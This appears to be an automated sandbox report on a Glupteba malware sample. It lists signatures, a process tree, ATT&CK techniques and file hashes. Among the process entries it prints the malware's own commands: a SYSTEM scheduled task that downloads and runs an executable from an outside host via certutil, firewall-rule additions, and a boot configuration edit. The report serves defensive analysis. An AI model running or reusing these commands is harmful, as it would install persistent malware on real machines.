Analysis

  • max time kernel
    134s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    21-05-2022 11:03

General

  • Target

    bfb780d95e95af6820d027e4858b8b557e9147bcf5b770d10f791a07ed06e952.exe

  • Size

    3.8MB

  • MD5

    5b2f94caa6cad47e94af32ea7b4811e9

  • SHA1

    8538b4799c8b80ce87d31ca4cb610b59e5f9ad22

  • SHA256

    bfb780d95e95af6820d027e4858b8b557e9147bcf5b770d10f791a07ed06e952

  • SHA512

    45789878bd9675fda353e7fea42b2c9da3585d6ebbabd9c40ef594d2c8ec088f62e3918026e004979fdd1beed961a94c4d9b00ffc73e817861a24aeace528e6b

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in System32 directory 8 IoCs
  • Drops file in Windows directory 4 IoCs
  • Program crash 63 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bfb780d95e95af6820d027e4858b8b557e9147bcf5b770d10f791a07ed06e952.exe
    "C:\Users\Admin\AppData\Local\Temp\bfb780d95e95af6820d027e4858b8b557e9147bcf5b770d10f791a07ed06e952.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4304
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 368
      2⤵
      • Program crash
      PID:3852
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 372
      2⤵
      • Program crash
      PID:2968
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 372
      2⤵
      • Program crash
      PID:4440
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 608
      2⤵
      • Program crash
      PID:1468
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 700
      2⤵
      • Program crash
      PID:888
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 700
      2⤵
      • Program crash
      PID:1068
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 732
      2⤵
      • Program crash
      PID:2496
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 740
      2⤵
      • Program crash
      PID:4072
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 752
      2⤵
      • Program crash
      PID:3144
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 684
      2⤵
      • Program crash
      PID:4356
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 728
      2⤵
      • Program crash
      PID:3848
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 728
      2⤵
      • Program crash
      PID:5076
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 756
      2⤵
      • Program crash
      PID:4424
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 724
      2⤵
      • Program crash
      PID:628
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 756
      2⤵
      • Program crash
      PID:2320
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 776
      2⤵
      • Program crash
      PID:4548
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 756
      2⤵
      • Program crash
      PID:2712
    • C:\Users\Admin\AppData\Local\Temp\bfb780d95e95af6820d027e4858b8b557e9147bcf5b770d10f791a07ed06e952.exe
      "C:\Users\Admin\AppData\Local\Temp\bfb780d95e95af6820d027e4858b8b557e9147bcf5b770d10f791a07ed06e952.exe"
      2⤵
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 332
        3⤵
        • Program crash
        PID:1060
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 356
        3⤵
        • Program crash
        PID:4776
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 372
        3⤵
        • Program crash
        PID:4220
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 620
        3⤵
        • Program crash
        PID:4368
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 676
        3⤵
        • Program crash
        PID:4992
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 700
        3⤵
        • Program crash
        PID:5024
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 700
        3⤵
        • Program crash
        PID:3496
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 692
        3⤵
        • Program crash
        PID:8
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 736
        3⤵
        • Program crash
        PID:4632
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac\57c765cfdfac.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3568
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac\57c765cfdfac.exe" enable=yes
          4⤵
            PID:4828
        • C:\Windows\system32\cmd.exe
          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4476
          • C:\Windows\system32\netsh.exe
            netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
            4⤵
              PID:1748
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe ""
            3⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3628
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 268
              4⤵
              • Program crash
              PID:2148
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 372
              4⤵
              • Program crash
              PID:1136
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 372
              4⤵
              • Program crash
              PID:512
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 568
              4⤵
              • Program crash
              PID:4928
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 568
              4⤵
              • Program crash
              PID:1604
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 568
              4⤵
              • Program crash
              PID:1016
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
              4⤵
              • Creates scheduled task(s)
              PID:4352
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
              4⤵
              • Creates scheduled task(s)
              PID:2640
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 500
              4⤵
              • Program crash
              PID:2864
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 852
              4⤵
              • Program crash
              PID:2988
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 852
              4⤵
              • Program crash
              PID:4264
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 852
              4⤵
              • Program crash
              PID:4912
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 932
              4⤵
              • Program crash
              PID:1900
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 940
              4⤵
              • Program crash
              PID:4564
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 956
              4⤵
              • Program crash
              PID:5080
            • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
              "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
              4⤵
              • Executes dropped EXE
              PID:3108
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\Sysnative\bcdedit.exe /v
              4⤵
              • Modifies boot configuration data using bcdedit
              PID:3988
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1008
              4⤵
              • Program crash
              PID:4388
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 496
              4⤵
              • Program crash
              PID:3140
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 852
              4⤵
              • Program crash
              PID:4288
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1000
              4⤵
              • Program crash
              PID:4244
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1080
              4⤵
              • Program crash
              PID:4048
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1052
              4⤵
              • Program crash
              PID:1536
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 928
              4⤵
              • Program crash
              PID:1736
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1528
              4⤵
              • Program crash
              PID:3372
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1656
              4⤵
              • Program crash
              PID:2336
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1548
              4⤵
              • Program crash
              PID:4356
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1804
              4⤵
              • Program crash
              PID:3848
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1824
              4⤵
              • Program crash
              PID:4860
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1572
              4⤵
              • Program crash
              PID:2292
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1268
              4⤵
              • Program crash
              PID:2188
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1836
              4⤵
              • Program crash
              PID:1280
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1220
              4⤵
              • Program crash
              PID:60
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1876
              4⤵
              • Program crash
              PID:4776
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1220
              4⤵
              • Program crash
              PID:4372
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1088
              4⤵
              • Program crash
              PID:3708
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1584
              4⤵
              • Program crash
              PID:4812
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1564
              4⤵
              • Program crash
              PID:3716
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1904
              4⤵
              • Program crash
              PID:1808
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1600
              4⤵
              • Program crash
              PID:4224
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3628 -s 1932
              4⤵
              • Program crash
              PID:512
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4304 -ip 4304
        1⤵
          PID:4528
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4304 -ip 4304
          1⤵
            PID:3320
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 4304 -ip 4304
            1⤵
              PID:4868
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4304 -ip 4304
              1⤵
                PID:4244
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 124 -p 4304 -ip 4304
                1⤵
                  PID:1292
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 4304 -ip 4304
                  1⤵
                    PID:1184
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 4304 -ip 4304
                    1⤵
                      PID:2424
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4304 -ip 4304
                      1⤵
                        PID:4452
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4304 -ip 4304
                        1⤵
                          PID:1164
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4304 -ip 4304
                          1⤵
                            PID:3120
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4304 -ip 4304
                            1⤵
                              PID:1692
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4304 -ip 4304
                              1⤵
                                PID:3356
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4304 -ip 4304
                                1⤵
                                  PID:4644
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4304 -ip 4304
                                  1⤵
                                    PID:1944
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4304 -ip 4304
                                    1⤵
                                      PID:4756
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4304 -ip 4304
                                      1⤵
                                        PID:2976
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4304 -ip 4304
                                        1⤵
                                          PID:60
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
                                          1⤵
                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of WriteProcessMemory
                                          PID:340
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 2036 -ip 2036
                                          1⤵
                                            PID:4596
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2036 -ip 2036
                                            1⤵
                                              PID:3808
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2036 -ip 2036
                                              1⤵
                                                PID:3552
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 2036 -ip 2036
                                                1⤵
                                                  PID:3616
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 2036 -ip 2036
                                                  1⤵
                                                    PID:3708
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2036 -ip 2036
                                                    1⤵
                                                      PID:3400
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2036 -ip 2036
                                                      1⤵
                                                        PID:4276
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2036 -ip 2036
                                                        1⤵
                                                          PID:2008
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2036 -ip 2036
                                                          1⤵
                                                            PID:1852
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3628 -ip 3628
                                                            1⤵
                                                              PID:4280
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3628 -ip 3628
                                                              1⤵
                                                                PID:4224
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 3628 -ip 3628
                                                                1⤵
                                                                  PID:1588
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3628 -ip 3628
                                                                  1⤵
                                                                    PID:976
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 3628 -ip 3628
                                                                    1⤵
                                                                      PID:3660
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3628 -ip 3628
                                                                      1⤵
                                                                        PID:1444
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3628 -ip 3628
                                                                        1⤵
                                                                          PID:1600
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3628 -ip 3628
                                                                          1⤵
                                                                            PID:1872
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 124 -p 3628 -ip 3628
                                                                            1⤵
                                                                              PID:4624
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3628 -ip 3628
                                                                              1⤵
                                                                                PID:2764
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3628 -ip 3628
                                                                                1⤵
                                                                                  PID:3972
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3628 -ip 3628
                                                                                  1⤵
                                                                                    PID:4696
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 124 -p 3628 -ip 3628
                                                                                    1⤵
                                                                                      PID:4216
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 3628 -ip 3628
                                                                                      1⤵
                                                                                        PID:2220
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 3628 -ip 3628
                                                                                        1⤵
                                                                                          PID:764
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3628 -ip 3628
                                                                                          1⤵
                                                                                            PID:3032
                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3628 -ip 3628
                                                                                            1⤵
                                                                                              PID:4924
                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3628 -ip 3628
                                                                                              1⤵
                                                                                                PID:2900
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3628 -ip 3628
                                                                                                1⤵
                                                                                                  PID:3444
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3628 -ip 3628
                                                                                                  1⤵
                                                                                                    PID:2980
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3628 -ip 3628
                                                                                                    1⤵
                                                                                                      PID:3840
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3628 -ip 3628
                                                                                                      1⤵
                                                                                                        PID:2644
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 3628 -ip 3628
                                                                                                        1⤵
                                                                                                          PID:3120
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 3628 -ip 3628
                                                                                                          1⤵
                                                                                                            PID:1416
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 3628 -ip 3628
                                                                                                            1⤵
                                                                                                              PID:4904
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3628 -ip 3628
                                                                                                              1⤵
                                                                                                                PID:4188
                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 3628 -ip 3628
                                                                                                                1⤵
                                                                                                                  PID:420
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3628 -ip 3628
                                                                                                                  1⤵
                                                                                                                    PID:2320
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3628 -ip 3628
                                                                                                                    1⤵
                                                                                                                      PID:4548
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3628 -ip 3628
                                                                                                                      1⤵
                                                                                                                        PID:3808
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3628 -ip 3628
                                                                                                                        1⤵
                                                                                                                          PID:4396
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3628 -ip 3628
                                                                                                                          1⤵
                                                                                                                            PID:4368
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3628 -ip 3628
                                                                                                                            1⤵
                                                                                                                              PID:2132
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 124 -p 3628 -ip 3628
                                                                                                                              1⤵
                                                                                                                                PID:4976
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3628 -ip 3628
                                                                                                                                1⤵
                                                                                                                                  PID:1452
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3628 -ip 3628
                                                                                                                                  1⤵
                                                                                                                                    PID:2148
                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3628 -ip 3628
                                                                                                                                    1⤵
                                                                                                                                      PID:1856

                                                                                                                                    Network

                                                                                                                                    MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                    Execution

                                                                                                                                    Scheduled Task

                                                                                                                                    1
                                                                                                                                    T1053

                                                                                                                                    Persistence

                                                                                                                                    Modify Existing Service

                                                                                                                                    1
                                                                                                                                    T1031

                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                    1
                                                                                                                                    T1060

                                                                                                                                    Scheduled Task

                                                                                                                                    1
                                                                                                                                    T1053

                                                                                                                                    Privilege Escalation

                                                                                                                                    Scheduled Task

                                                                                                                                    1
                                                                                                                                    T1053

                                                                                                                                    Defense Evasion

                                                                                                                                    Modify Registry

                                                                                                                                    2
                                                                                                                                    T1112

                                                                                                                                    Install Root Certificate

                                                                                                                                    1
                                                                                                                                    T1130

                                                                                                                                    Discovery

                                                                                                                                    Query Registry

                                                                                                                                    1
                                                                                                                                    T1012

                                                                                                                                    Replay Monitor

                                                                                                                                    Loading Replay Monitor...

                                                                                                                                    Downloads

                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                                                                                                                                      Filesize

                                                                                                                                      1.7MB

                                                                                                                                      MD5

                                                                                                                                      13aaafe14eb60d6a718230e82c671d57

                                                                                                                                      SHA1

                                                                                                                                      e039dd924d12f264521b8e689426fb7ca95a0a7b

                                                                                                                                      SHA256

                                                                                                                                      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

                                                                                                                                      SHA512

                                                                                                                                      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

                                                                                                                                    • C:\Windows\rss\csrss.exe
                                                                                                                                      Filesize

                                                                                                                                      3.8MB

                                                                                                                                      MD5

                                                                                                                                      5b2f94caa6cad47e94af32ea7b4811e9

                                                                                                                                      SHA1

                                                                                                                                      8538b4799c8b80ce87d31ca4cb610b59e5f9ad22

                                                                                                                                      SHA256

                                                                                                                                      bfb780d95e95af6820d027e4858b8b557e9147bcf5b770d10f791a07ed06e952

                                                                                                                                      SHA512

                                                                                                                                      45789878bd9675fda353e7fea42b2c9da3585d6ebbabd9c40ef594d2c8ec088f62e3918026e004979fdd1beed961a94c4d9b00ffc73e817861a24aeace528e6b

                                                                                                                                    • C:\Windows\rss\csrss.exe
                                                                                                                                      Filesize

                                                                                                                                      3.8MB

                                                                                                                                      MD5

                                                                                                                                      5b2f94caa6cad47e94af32ea7b4811e9

                                                                                                                                      SHA1

                                                                                                                                      8538b4799c8b80ce87d31ca4cb610b59e5f9ad22

                                                                                                                                      SHA256

                                                                                                                                      bfb780d95e95af6820d027e4858b8b557e9147bcf5b770d10f791a07ed06e952

                                                                                                                                      SHA512

